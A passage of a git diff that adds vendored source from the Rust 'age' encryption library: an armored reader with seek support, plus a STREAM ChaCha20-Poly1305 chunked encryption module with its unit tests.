self.as_mut().project(); + let read = ready!(this.inner.poll_read(cx, &mut this.byte_buf[..]))?; + (*this.byte_start) = 0; + (*this.byte_end) = read; + self.count_reader_bytes(read); + &self.get_mut().byte_buf[..read] + } else { + let this = self.get_mut(); + &this.byte_buf[this.byte_start..this.byte_end] + }; + break Poll::Ready(Ok(ret)); + } + Some(true) if self.found_end => return Poll::Ready(Ok(&[])), + Some(true) => { + let ret = if self.byte_start >= self.byte_end { + let last = + ready!(Pin::new(self.deref_mut()).poll_read_next_armor_line(cx))?; + if last { + &[] + } else { + let this = self.get_mut(); + &this.byte_buf[this.byte_start..this.byte_end] + } + } else { + let this = self.get_mut(); + &this.byte_buf[this.byte_start..this.byte_end] + }; + break Poll::Ready(Ok(ret)); + } + } + } + } + + fn consume(mut self: Pin<&mut Self>, amt: usize) { + let this = self.as_mut().project(); + (*this.byte_start) += amt; + (*this.data_read) += amt; + assert!(this.byte_start <= this.byte_end); + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl ArmoredReader { + /// Fills `self.byte_buf` with the next line of armored data. + /// + /// Returns `true` if this was the last line. + fn poll_read_next_armor_line( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + assert_eq!(self.is_armored, Some(true)); + + // Read the next line + { + // Emulates `AsyncBufReadExt::read_line`. + let mut this = self.as_mut().project(); + let buf: &mut String = this.line_buf; + let mut bytes = mem::take(buf).into_bytes(); + let mut read = 0; + ready!(read_line_internal( + this.inner.as_mut(), + cx, + buf, + &mut bytes, + &mut read, + )) + } + .map(|read| self.count_reader_bytes(read))?; + + // Parse the line into bytes. + if self.parse_armor_line()? { + // This was the last line! Check for trailing garbage. + let mut this = self.as_mut().project(); + loop { + let amt = match ready!(this.inner.as_mut().poll_fill_buf(cx))? { + &[] => break, + buf => { + if buf.iter().any(|b| !b.is_ascii_whitespace()) { + return Poll::Ready(Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::TrailingGarbage, + ))); + } + buf.len() + } + }; + this.inner.as_mut().consume(amt); + } + Poll::Ready(Ok(true)) + } else { + Poll::Ready(Ok(false)) + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncRead for ArmoredReader { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &mut [u8], + ) -> Poll> { + let buf_len = buf.len(); + + while !buf.is_empty() { + match Pin::new(self.deref_mut()).poll_fill_buf(cx) { + Poll::Pending if buf_len > buf.len() => break, + Poll::Pending => return Poll::Pending, + Poll::Ready(Err(e)) => return Poll::Ready(Err(e)), + Poll::Ready(Ok([])) => break, + Poll::Ready(Ok(next)) => { + let read = cmp::min(next.len(), buf.len()); + + if next.len() < buf.len() { + buf[..read].copy_from_slice(next); + } else { + buf.copy_from_slice(&next[..read]); + } + + Pin::new(self.deref_mut()).consume(read); + buf = &mut buf[read..]; + } + } + } + + Poll::Ready(Ok(buf_len - buf.len())) + } +} + +impl ArmoredReader { + fn start(&mut self) -> io::Result { + match self.start { + StartPos::Implicit(offset) => { + let current = self.inner.seek(SeekFrom::Current(0))?; + let start = current - offset; + + // Cache the start for future calls. + self.start = StartPos::Explicit(start); + + Ok(start) + } + StartPos::Explicit(start) => Ok(start), + } + } +} + +impl Seek for ArmoredReader { + fn seek(&mut self, pos: SeekFrom) -> io::Result { + loop { + match self.is_armored { + None => { + self.inner.read_exact(&mut self.byte_buf[..MIN_ARMOR_LEN])?; + self.detect_armor()? + } + Some(armored) => { + // Convert the offset into the target position within the data inside + // the (maybe) armor. + let start = self.start()?; + let target_pos = match pos { + SeekFrom::Start(offset) => offset, + SeekFrom::Current(offset) => { + let res = (self.data_read as i64) + offset; + if res >= 0_i64 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + SeekFrom::End(offset) => { + let data_len = match self.data_len { + Some(n) => n, + None => { + // Read from the source until we find the end. + let mut buf = [0; 4096]; + while self.read(&mut buf)? > 0 {} + let data_len = self.data_read as u64; + + // Cache the data length for future calls. + self.data_len = Some(data_len); + + data_len + } + }; + + let res = (data_len as i64) + offset; + if res >= 0 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + }; + + if !armored { + // We can seek directly on the inner reader. + self.inner.seek(SeekFrom::Start(start + target_pos))?; + self.byte_start = 0; + self.byte_end = 0; + self.data_read = target_pos as usize; + break Ok(self.data_read as u64); + } + + // Jump back to the start of the armor data, and then read and drop + // until we reach the target position. This is very inefficient, but + // as armored files can have arbitrary line endings within the file, + // we can't determine where the armor line containing the target + // position begins within the reader. + self.inner.seek(SeekFrom::Start(start))?; + self.line_buf.clear(); + self.byte_start = ARMORED_BYTES_PER_LINE; + self.byte_end = ARMORED_BYTES_PER_LINE; + self.found_short_line = false; + self.found_end = false; + self.data_read = 0; + + let mut buf = [0; 4096]; + let mut to_read = target_pos as usize; + while to_read > buf.len() { + self.read_exact(&mut buf)?; + to_read -= buf.len(); + } + if to_read > 0 { + self.read_exact(&mut buf[..to_read])?; + } + + // All done! + break Ok(target_pos); + } + } + } + } +} + +#[cfg(test)] +mod tests { + use std::io::{Cursor, Read, Seek, SeekFrom, Write}; + + use super::{ArmoredReader, ArmoredWriter, Format, ARMORED_BYTES_PER_LINE}; + + #[cfg(feature = "async")] + use futures::{ + io::{AsyncRead, AsyncWrite}, + pin_mut, + task::Poll, + }; + #[cfg(feature = "async")] + use futures_test::task::noop_context; + + #[test] + fn armored_round_trip() { + const MAX_LEN: usize = ARMORED_BYTES_PER_LINE * 50; + + let mut data = Vec::with_capacity(MAX_LEN); + + for i in 0..MAX_LEN { + data.push(i as u8); + + let mut encoded = vec![]; + { + let mut out = ArmoredWriter::wrap_output(&mut encoded, Format::AsciiArmor).unwrap(); + out.write_all(&data).unwrap(); + out.finish().unwrap(); + } + + let mut buf = vec![]; + { + let mut input = ArmoredReader::new(&encoded[..]); + input.read_to_end(&mut buf).unwrap(); + } + + assert_eq!(buf, data); + } + } + + #[cfg(feature = "async")] + #[test] + fn armored_async_round_trip() { + const MAX_LEN: usize = ARMORED_BYTES_PER_LINE * 50; + + let mut data = Vec::with_capacity(MAX_LEN); + + for i in 0..MAX_LEN { + data.push(i as u8); + + let mut encoded = vec![]; + { + let w = ArmoredWriter::wrap_async_output(&mut encoded, Format::AsciiArmor); + pin_mut!(w); + + let mut cx = noop_context(); + + let mut tmp = &data[..]; + loop { + match w.as_mut().poll_write(&mut cx, tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(written)) => tmp = &tmp[written..], + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + loop { + match w.as_mut().poll_close(&mut cx) { + Poll::Ready(Ok(())) => break, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + } + + let mut buf = vec![]; + { + let input = ArmoredReader::from_async_reader(&encoded[..]); + pin_mut!(input); + + let mut cx = noop_context(); + + let mut tmp = [0; 4096]; + loop { + match input.as_mut().poll_read(&mut cx, &mut tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(read)) => buf.extend_from_slice(&tmp[..read]), + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + } + + assert_eq!(buf, data); + } + } + + #[test] + fn binary_seeking() { + let mut data = vec![0; 100 * 100]; + for (i, b) in data.iter_mut().enumerate() { + *b = i as u8; + } + + let mut written = vec![]; + { + let mut w = ArmoredWriter::wrap_output(&mut written, Format::Binary).unwrap(); + w.write_all(&data).unwrap(); + w.finish().unwrap(); + }; + assert_eq!(written, data); + + let mut r = ArmoredReader::new(Cursor::new(written)); + + // Read part-way into the first "line" + let mut buf = vec![0; 100]; + r.read_exact(&mut buf[..5]).unwrap(); + assert_eq!(&buf[..5], &data[..5]); + + // Seek back to the beginning + r.seek(SeekFrom::Start(0)).unwrap(); + + // Read into the middle of the data + for i in 0..70 { + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[100 * i..100 * (i + 1)]); + } + + // Seek back into the first line + r.seek(SeekFrom::Start(5)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[5..105]); + + // Seek forwards from the current position + r.seek(SeekFrom::Current(500)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[605..705]); + + // Seek backwards from the end + r.seek(SeekFrom::End(-1337)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[data.len() - 1337..data.len() - 1237]); + } + + #[test] + fn armored_seeking() { + let mut data = vec![0; 100 * 100]; + for (i, b) in data.iter_mut().enumerate() { + *b = i as u8; + } + + let mut armored = vec![]; + { + let mut w = ArmoredWriter::wrap_output(&mut armored, Format::AsciiArmor).unwrap(); + w.write_all(&data).unwrap(); + w.finish().unwrap(); + }; + + let mut r = ArmoredReader::new(Cursor::new(armored)); + + // Read part-way into the first "line" + let mut buf = vec![0; 100]; + r.read_exact(&mut buf[..5]).unwrap(); + assert_eq!(&buf[..5], &data[..5]); + + // Seek back to the beginning + r.seek(SeekFrom::Start(0)).unwrap(); + + // Read into the middle of the data + for i in 0..70 { + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[100 * i..100 * (i + 1)]); + } + + // Seek back into the first line + r.seek(SeekFrom::Start(5)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[5..105]); + + // Seek forwards from the current position + r.seek(SeekFrom::Current(500)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[605..705]); + + // Seek backwards from the end + r.seek(SeekFrom::End(-1337)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[data.len() - 1337..data.len() - 1237]); + } +} diff --git a/lib/rage/age/src/primitives/stream.rs b/lib/rage/age/src/primitives/stream.rs new file mode 100644 index 0000000..880084d --- /dev/null +++ b/lib/rage/age/src/primitives/stream.rs @@ -0,0 +1,1043 @@ +//! I/O helper structs for age file encryption and decryption. + +use age_core::secrecy::{ExposeSecret, SecretSlice}; +use chacha20poly1305::{ + aead::{generic_array::GenericArray, Aead, KeyInit, KeySizeUser}, + ChaCha20Poly1305, +}; +use pin_project::pin_project; +use std::cmp; +use std::io::{self, Read, Seek, SeekFrom, Write}; +use zeroize::Zeroize; + +#[cfg(feature = "async")] +use futures::{ + io::{AsyncRead, AsyncWrite, Error}, + ready, + task::{Context, Poll}, +}; +#[cfg(feature = "async")] +use std::pin::Pin; + +const CHUNK_SIZE: usize = 64 * 1024; +const TAG_SIZE: usize = 16; +const ENCRYPTED_CHUNK_SIZE: usize = CHUNK_SIZE + TAG_SIZE; + +pub(crate) struct PayloadKey( + pub(crate) GenericArray::KeySize>, +); + +impl Drop for PayloadKey { + fn drop(&mut self) { + self.0.as_mut_slice().zeroize(); + } +} + +/// The nonce used in age's STREAM encryption. +/// +/// Structured as an 11 bytes of big endian counter, and 1 byte of last block flag +/// (`0x00 / 0x01`). We store this in the lower 12 bytes of a `u128`. +#[derive(Clone, Copy, Default)] +struct Nonce(u128); + +impl Nonce { + /// Unsets last-chunk flag. + fn set_counter(&mut self, val: u64) { + self.0 = u128::from(val) << 8; + } + + fn increment_counter(&mut self) { + // Increment the 11-byte counter + self.0 += 1 << 8; + if self.0 >> (8 * 12) != 0 { + panic!("We overflowed the nonce!"); + } + } + + fn is_last(&self) -> bool { + self.0 & 1 != 0 + } + + fn set_last(&mut self, last: bool) -> Result<(), ()> { + if !self.is_last() { + self.0 |= u128::from(last); + Ok(()) + } else { + Err(()) + } + } + + fn to_bytes(self) -> [u8; 12] { + self.0.to_be_bytes()[4..] + .try_into() + .expect("slice is correct length") + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +struct EncryptedChunk { + bytes: Vec, + offset: usize, +} + +/// `STREAM[key](plaintext)` +/// +/// The [STREAM] construction for online authenticated encryption, instantiated with +/// ChaCha20-Poly1305 in 64KiB chunks, and a nonce structure of 11 bytes of big endian +/// counter, and 1 byte of last block flag (0x00 / 0x01). +/// +/// [STREAM]: https://eprint.iacr.org/2015/189.pdf +pub(crate) struct Stream { + aead: ChaCha20Poly1305, + nonce: Nonce, +} + +impl Stream { + fn new(key: PayloadKey) -> Self { + Stream { + aead: ChaCha20Poly1305::new(&key.0), + nonce: Nonce::default(), + } + } + + /// Wraps `STREAM` encryption under the given `key` around a writer. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + pub(crate) fn encrypt(key: PayloadKey, inner: W) -> StreamWriter { + StreamWriter { + stream: Self::new(key), + inner, + chunk: Vec::with_capacity(CHUNK_SIZE), + #[cfg(feature = "async")] + encrypted_chunk: None, + } + } + + /// Wraps `STREAM` encryption under the given `key` around a writer. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) fn encrypt_async(key: PayloadKey, inner: W) -> StreamWriter { + StreamWriter { + stream: Self::new(key), + inner, + chunk: Vec::with_capacity(CHUNK_SIZE), + encrypted_chunk: None, + } + } + + /// Wraps `STREAM` decryption under the given `key` around a reader. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + pub(crate) fn decrypt(key: PayloadKey, inner: R) -> StreamReader { + StreamReader { + stream: Self::new(key), + inner, + encrypted_chunk: vec![0; ENCRYPTED_CHUNK_SIZE], + encrypted_pos: 0, + start: StartPos::Implicit(0), + plaintext_len: None, + cur_plaintext_pos: 0, + chunk: None, + } + } + + /// Wraps `STREAM` decryption under the given `key` around a reader. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) fn decrypt_async(key: PayloadKey, inner: R) -> StreamReader { + StreamReader { + stream: Self::new(key), + inner, + encrypted_chunk: vec![0; ENCRYPTED_CHUNK_SIZE], + encrypted_pos: 0, + start: StartPos::Implicit(0), + plaintext_len: None, + cur_plaintext_pos: 0, + chunk: None, + } + } + + fn encrypt_chunk(&mut self, chunk: &[u8], last: bool) -> io::Result> { + assert!(chunk.len() <= CHUNK_SIZE); + + self.nonce.set_last(last).map_err(|_| { + io::Error::new(io::ErrorKind::WriteZero, "last chunk has been processed") + })?; + + let encrypted = self + .aead + .encrypt(&self.nonce.to_bytes().into(), chunk) + .expect("we will never hit chacha20::MAX_BLOCKS because of the chunk size"); + self.nonce.increment_counter(); + + Ok(encrypted) + } + + fn decrypt_chunk(&mut self, chunk: &[u8], last: bool) -> io::Result> { + assert!(chunk.len() <= ENCRYPTED_CHUNK_SIZE); + + self.nonce.set_last(last).map_err(|_| { + io::Error::new(io::ErrorKind::InvalidData, "last chunk has been processed") + })?; + + let decrypted = self + .aead + .decrypt(&self.nonce.to_bytes().into(), chunk) + .map(SecretSlice::from) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "decryption error"))?; + self.nonce.increment_counter(); + + Ok(decrypted) + } + + fn is_complete(&self) -> bool { + self.nonce.is_last() + } +} + +/// Writes an encrypted age file. +#[pin_project(project = StreamWriterProj)] +pub struct StreamWriter { + stream: Stream, + #[pin] + inner: W, + chunk: Vec, + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + encrypted_chunk: Option, +} + +impl StreamWriter { + /// Writes the final chunk of the age file. + /// + /// You **MUST** call `finish` when you are done writing, in order to finish the + /// encryption process. Failing to call `finish` will result in a truncated file that + /// that will fail to decrypt. + pub fn finish(mut self) -> io::Result { + let encrypted = self.stream.encrypt_chunk(&self.chunk, true)?; + self.inner.write_all(&encrypted)?; + Ok(self.inner) + } +} + +impl Write for StreamWriter { + fn write(&mut self, mut buf: &[u8]) -> io::Result { + let mut bytes_written = 0; + + while !buf.is_empty() { + let to_write = cmp::min(CHUNK_SIZE - self.chunk.len(), buf.len()); + self.chunk.extend_from_slice(&buf[..to_write]); + bytes_written += to_write; + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a full chunk. + assert!(buf.is_empty() || self.chunk.len() == CHUNK_SIZE); + + // Only encrypt the chunk if we have more data to write, as the last + // chunk must be written in finish(). + if !buf.is_empty() { + let encrypted = self.stream.encrypt_chunk(&self.chunk, false)?; + self.inner.write_all(&encrypted)?; + self.chunk.clear(); + } + } + + Ok(bytes_written) + } + + fn flush(&mut self) -> io::Result<()> { + self.inner.flush() + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl StreamWriter { + fn poll_flush_chunk(self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + let StreamWriterProj { + mut inner, + encrypted_chunk, + .. + } = self.project(); + + if let Some(chunk) = encrypted_chunk { + loop { + chunk.offset += + ready!(inner.as_mut().poll_write(cx, &chunk.bytes[chunk.offset..]))?; + if chunk.offset == chunk.bytes.len() { + break; + } + } + } + *encrypted_chunk = None; + + Poll::Ready(Ok(())) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncWrite for StreamWriter { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &[u8], + ) -> Poll> { + // If the buffer is empty, return immediately + if buf.is_empty() { + return Poll::Ready(Ok(0)); + } + + loop { + ready!(self.as_mut().poll_flush_chunk(cx))?; + + // We can encounter one of three cases here: + // 1. `0 < buf.len() <= CHUNK_SIZE - self.chunk.len()`: we append to the + // partial chunk and return. This may happen to complete the chunk. + // 2. `0 < CHUNK_SIZE - self.chunk.len() < buf.len()`: we consume part of + // `buf` to complete the chunk, encrypt it, and return. + // 3. `0 == CHUNK_SIZE - self.chunk.len() < buf.len()`: we hit case 1 in a + // previous invocation. We encrypt the chunk, and then loop around (where + // we are guaranteed to hit case 1). + let to_write = cmp::min(CHUNK_SIZE - self.chunk.len(), buf.len()); + + self.as_mut() + .project() + .chunk + .extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a full chunk. + assert!(buf.is_empty() || self.chunk.len() == CHUNK_SIZE); + + // Only encrypt the chunk if we have more data to write, as the last + // chunk must be written in poll_close(). + if !buf.is_empty() { + let this = self.as_mut().project(); + *this.encrypted_chunk = Some(EncryptedChunk { + bytes: this.stream.encrypt_chunk(this.chunk, false)?, + offset: 0, + }); + this.chunk.clear(); + } + + // If we wrote some data, return how much we wrote + if to_write > 0 { + return Poll::Ready(Ok(to_write)); + } + + // If we didn't write any data, loop and write some, to ensure + // this function does not return 0. This enables compatibility with + // futures::io::copy() and tokio::io::copy(), which will return a + // WriteZero error in that case. + // Since those functions copy 8K at a time, and CHUNK_SIZE is + // a multiple of 8K, this ends up happening once for each chunk + // after the first one + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + ready!(self.as_mut().poll_flush_chunk(cx))?; + self.project().inner.poll_flush(cx) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // Flush any remaining encrypted chunk bytes. + ready!(self.as_mut().poll_flush_chunk(cx))?; + + if !self.stream.is_complete() { + // Finish the stream. + let this = self.as_mut().project(); + *this.encrypted_chunk = Some(EncryptedChunk { + bytes: this.stream.encrypt_chunk(this.chunk, true)?, + offset: 0, + }); + } + + // Flush the final chunk (if we didn't in the first call). + ready!(self.as_mut().poll_flush_chunk(cx))?; + self.project().inner.poll_close(cx) + } +} + +/// The position in the underlying reader corresponding to the start of the stream. +/// +/// To impl Seek for StreamReader, we need to know the point in the reader corresponding +/// to the first byte of the stream. But we can't query the reader for its current +/// position without having a specific constructor for `R: Read + Seek`, which makes the +/// higher-level API more complex. Instead, we count the number of bytes that have been +/// read from the reader until we first need to seek, and then inside `impl Seek` we can +/// query the reader's current position and figure out where the start was. +enum StartPos { + /// An offset that we can subtract from the current position. + Implicit(u64), + /// The precise start position. + Explicit(u64), +} + +/// Provides access to a decrypted age file. +#[pin_project] +pub struct StreamReader { + stream: Stream, + #[pin] + inner: R, + encrypted_chunk: Vec, + encrypted_pos: usize, + start: StartPos, + plaintext_len: Option, + cur_plaintext_pos: u64, + chunk: Option>, +} + +impl StreamReader { + fn count_bytes(&mut self, read: usize) { + // We only need to count if we haven't yet worked out the start position. + if let StartPos::Implicit(offset) = &mut self.start { + *offset += read as u64; + } + } + + fn decrypt_chunk(&mut self) -> io::Result<()> { + self.count_bytes(self.encrypted_pos); + let chunk = &self.encrypted_chunk[..self.encrypted_pos]; + + if chunk.is_empty() { + if !self.stream.is_complete() { + // Stream has ended before seeing the last chunk. + return Err(io::Error::new( + io::ErrorKind::UnexpectedEof, + "age file is truncated", + )); + } + } else { + // This check works for all cases except when the age file is an integer + // multiple of the chunk size. In that case, we try decrypting twice on a + // decryption failure. + let last = chunk.len() < ENCRYPTED_CHUNK_SIZE; + + self.chunk = match (self.stream.decrypt_chunk(chunk, last), last) { + (Ok(chunk), _) + if chunk.expose_secret().is_empty() && self.cur_plaintext_pos > 0 => + { + assert!(last); + return Err(io::Error::new( + io::ErrorKind::InvalidData, + crate::fl!("err-stream-last-chunk-empty"), + )); + } + (Ok(chunk), _) => Some(chunk), + (Err(_), false) => Some(self.stream.decrypt_chunk(chunk, true)?), + (Err(e), true) => return Err(e), + }; + } + + // We've finished with this encrypted chunk. + self.encrypted_pos = 0; + + Ok(()) + } + + fn read_from_chunk(&mut self, buf: &mut [u8]) -> usize { + if self.chunk.is_none() { + return 0; + } + + let chunk = self.chunk.as_ref().unwrap(); + let cur_chunk_offset = self.cur_plaintext_pos as usize % CHUNK_SIZE; + + let to_read = cmp::min(chunk.expose_secret().len() - cur_chunk_offset, buf.len()); + + buf[..to_read] + .copy_from_slice(&chunk.expose_secret()[cur_chunk_offset..cur_chunk_offset + to_read]); + self.cur_plaintext_pos += to_read as u64; + if self.cur_plaintext_pos % CHUNK_SIZE as u64 == 0 { + // We've finished with the current chunk. + self.chunk = None; + } + + to_read + } +} + +impl Read for StreamReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + if self.chunk.is_none() { + while self.encrypted_pos < ENCRYPTED_CHUNK_SIZE { + match self + .inner + .read(&mut self.encrypted_chunk[self.encrypted_pos..]) + { + Ok(0) => break, + Ok(n) => self.encrypted_pos += n, + Err(e) => match e.kind() { + io::ErrorKind::Interrupted => (), + _ => return Err(e), + }, + } + } + self.decrypt_chunk()?; + } + + Ok(self.read_from_chunk(buf)) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncRead for StreamReader { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context, + buf: &mut [u8], + ) -> Poll> { + if self.chunk.is_none() { + while self.encrypted_pos < ENCRYPTED_CHUNK_SIZE { + let this = self.as_mut().project(); + match ready!(this + .inner + .poll_read(cx, &mut this.encrypted_chunk[*this.encrypted_pos..])) + { + Ok(0) => break, + Ok(n) => self.encrypted_pos += n, + Err(e) => match e.kind() { + io::ErrorKind::Interrupted => (), + _ => return Poll::Ready(Err(e)), + }, + } + } + self.decrypt_chunk()?; + } + + Poll::Ready(Ok(self.read_from_chunk(buf))) + } +} + +impl StreamReader { + fn start(&mut self) -> io::Result { + match self.start { + StartPos::Implicit(offset) => { + let current = self.inner.seek(SeekFrom::Current(0))?; + let start = current - offset; + + // Cache the start for future calls. + self.start = StartPos::Explicit(start); + + Ok(start) + } + StartPos::Explicit(start) => Ok(start), + } + } + + /// Returns the length of the plaintext + fn len(&mut self) -> io::Result { + match self.plaintext_len { + None => { + // Cache the current position and nonce, and then grab the start and end + // ciphertext positions. + let cur_pos = self.inner.seek(SeekFrom::Current(0))?; + let cur_nonce = self.stream.nonce.0; + let ct_start = self.start()?; + let ct_end = self.inner.seek(SeekFrom::End(0))?; + let ct_len = ct_end - ct_start; + + // Use ceiling division to determine the number of chunks. + let num_chunks = + (ct_len + (ENCRYPTED_CHUNK_SIZE as u64 - 1)) / ENCRYPTED_CHUNK_SIZE as u64; + + // Authenticate the ciphertext length by checking that we can successfully + // decrypt the last chunk _as_ a last chunk. + let last_chunk_start = ct_start + ((num_chunks - 1) * ENCRYPTED_CHUNK_SIZE as u64); + let mut last_chunk = Vec::with_capacity((ct_end - last_chunk_start) as usize); + self.inner.seek(SeekFrom::Start(last_chunk_start))?; + self.inner.read_to_end(&mut last_chunk)?; + self.stream.nonce.set_counter(num_chunks - 1); + self.stream.decrypt_chunk(&last_chunk, true).map_err(|_| { + io::Error::new( + io::ErrorKind::InvalidData, + "Last chunk is invalid, stream might be truncated", + ) + })?; + + // Now that we have authenticated the ciphertext length, we can use it to + // calculate the plaintext length. + let total_tag_size = num_chunks * TAG_SIZE as u64; + let pt_len = ct_len - total_tag_size; + + // Return to the original position and restore the nonce. + self.inner.seek(SeekFrom::Start(cur_pos))?; + self.stream.nonce = Nonce(cur_nonce); + + // Cache the length for future calls. + self.plaintext_len = Some(pt_len); + + Ok(pt_len) + } + Some(pt_len) => Ok(pt_len), + } + } +} + +impl Seek for StreamReader { + fn seek(&mut self, pos: SeekFrom) -> io::Result { + // Convert the offset into the target position within the plaintext + let start = self.start()?; + let target_pos = match pos { + SeekFrom::Start(offset) => offset, + SeekFrom::Current(offset) => { + let res = (self.cur_plaintext_pos as i64) + offset; + if res >= 0 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + SeekFrom::End(offset) => { + let res = (self.len()? as i64) + offset; + if res >= 0 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + }; + + let cur_chunk_index = self.cur_plaintext_pos / CHUNK_SIZE as u64; + + let target_chunk_index = target_pos / CHUNK_SIZE as u64; + let target_chunk_offset = target_pos % CHUNK_SIZE as u64; + + if target_chunk_index == cur_chunk_index { + // We just need to reposition ourselves within the current chunk. + self.cur_plaintext_pos = target_pos; + } else { + // Clear the current chunk + self.chunk = None; + + // Seek to the beginning of the target chunk + self.inner.seek(SeekFrom::Start( + start + (target_chunk_index * ENCRYPTED_CHUNK_SIZE as u64), + ))?; + self.stream.nonce.set_counter(target_chunk_index); + self.cur_plaintext_pos = target_chunk_index * CHUNK_SIZE as u64; + + // Read and drop bytes from the chunk to reach the target position. + if target_chunk_offset > 0 { + let mut to_drop = vec![0; target_chunk_offset as usize]; + self.read_exact(&mut to_drop)?; + } + // We need to handle the edge case where the last chunk is not short, and + // `target_pos == self.len()` (so `target_chunk_index` points to the chunk + // after the last chunk). The next read would return no bytes, but because + // `target_chunk_offset == 0` we weren't forced to read past any in-chunk + // bytes, and thus have not set the `last` flag on the nonce. + // + // To handle this edge case, when `target_pos` is a multiple of the chunk + // size (i.e. this conditional branch), we compute the length of the + // plaintext. This is cached, so the overhead should be minimal. + else if target_pos == self.len()? { + self.stream + .nonce + .set_last(true) + .expect("We unset the last chunk flag earlier"); + } + } + + // All done! + Ok(target_pos) + } +} + +#[cfg(test)] +mod tests { + use age_core::secrecy::ExposeSecret; + use std::io::{self, Cursor, Read, Seek, SeekFrom, Write}; + + use super::{PayloadKey, Stream, CHUNK_SIZE}; + + #[cfg(feature = "async")] + use futures::{ + io::{AsyncRead, AsyncWrite}, + pin_mut, + task::Poll, + }; + #[cfg(feature = "async")] + use futures_test::task::noop_context; + + #[test] + fn chunk_round_trip() { + let data = vec![42; CHUNK_SIZE]; + + let encrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + s.encrypt_chunk(&data, false).unwrap() + }; + + let decrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + s.decrypt_chunk(&encrypted, false).unwrap() + }; + + assert_eq!(decrypted.expose_secret(), &data); + } + + #[test] + fn last_chunk_round_trip() { + let data = vec![42; CHUNK_SIZE]; + + let encrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + let res = s.encrypt_chunk(&data, true).unwrap(); + + // Further calls return an error + assert_eq!( + s.encrypt_chunk(&data, false).unwrap_err().kind(), + io::ErrorKind::WriteZero + ); + assert_eq!( + s.encrypt_chunk(&data, true).unwrap_err().kind(), + io::ErrorKind::WriteZero + ); + + res + }; + + let decrypted = { + let mut s = Stream::new(PayloadKey([7; 32].into())); + let res = s.decrypt_chunk(&encrypted, true).unwrap(); + + // Further calls return an error + match s.decrypt_chunk(&encrypted, false) { + Err(e) => assert_eq!(e.kind(), io::ErrorKind::InvalidData), + _ => panic!("Expected error"), + } + match s.decrypt_chunk(&encrypted, true) { + Err(e) => assert_eq!(e.kind(), io::ErrorKind::InvalidData), + _ => panic!("Expected error"), + } + + res + }; + + assert_eq!(decrypted.expose_secret(), &data); + } + + fn stream_round_trip(data: &[u8]) { + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(data).unwrap(); + w.finish().unwrap(); + }; + + let decrypted = { + let mut buf = vec![]; + let mut r = 